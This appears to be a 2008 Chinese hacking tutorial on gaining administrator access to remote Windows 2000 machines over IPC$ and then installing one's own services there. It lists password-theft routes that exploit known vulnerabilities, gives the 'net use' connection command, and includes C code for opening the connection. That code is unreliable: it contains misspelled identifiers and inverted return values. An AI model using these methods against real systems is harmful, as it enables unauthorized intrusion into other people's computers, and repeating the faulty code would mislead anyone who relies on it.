首页 > > 程序设计 > C/C++ >

C\C 建立IPC连接之后续操作

2008-02-23 05:25:20来源：互联网阅读 ()

如何建立IPC连接呢？不用我说，大家都知道：

　　net use \\ip\\ipc$ password /user:user。在这里，我们应想办法得到Administrator的权限的帐户和密码，方法有很多：

　　⑴流光扫描

　　⑵NULL.printer缓冲区溢出

　　⑶MS SQL空密码

　　⑷Unicode漏洞

　　⑸远程终端输入法漏洞

　　⑹idq.dll漏洞

　　……太多了！具体方法我就不说了。

　　得到Windows 2k administrator权限以后，能够做什么呢？想做什么就做什么呗！装什么服务的，当然是自己写的服务程式啦！您看s如何呢？下面就从编程的角度的来谈谈,读者要有一定的网络编程基础，同时有的地方没给出错误检查，有部分代码是参考别人的。一些函数和结构请参考MSDN。不足之处还请读者自己完善，也能够和我交流：heavyd@cngale.com。下面请看：

　　1、如何建立IPC连接，请看以下代码：

BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
{ char tmp[128]="\\\\";
　strcat(tmp,RemoteName);
　strcat(tmp,"\\ipc$");
　NETRESOUCE NetResouce;
　NetResouce.lpRemoteName=tmp;
　NetResouce.dwType=RESOURCETYPE_ANY;
　NetResouce.lpProvider=NULL;
　if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
　　//建立连接！
　　return FALSE;
　else
　　return TRUE;
}

　　是不是很简单？对！就这么简单！那么，接着来吧！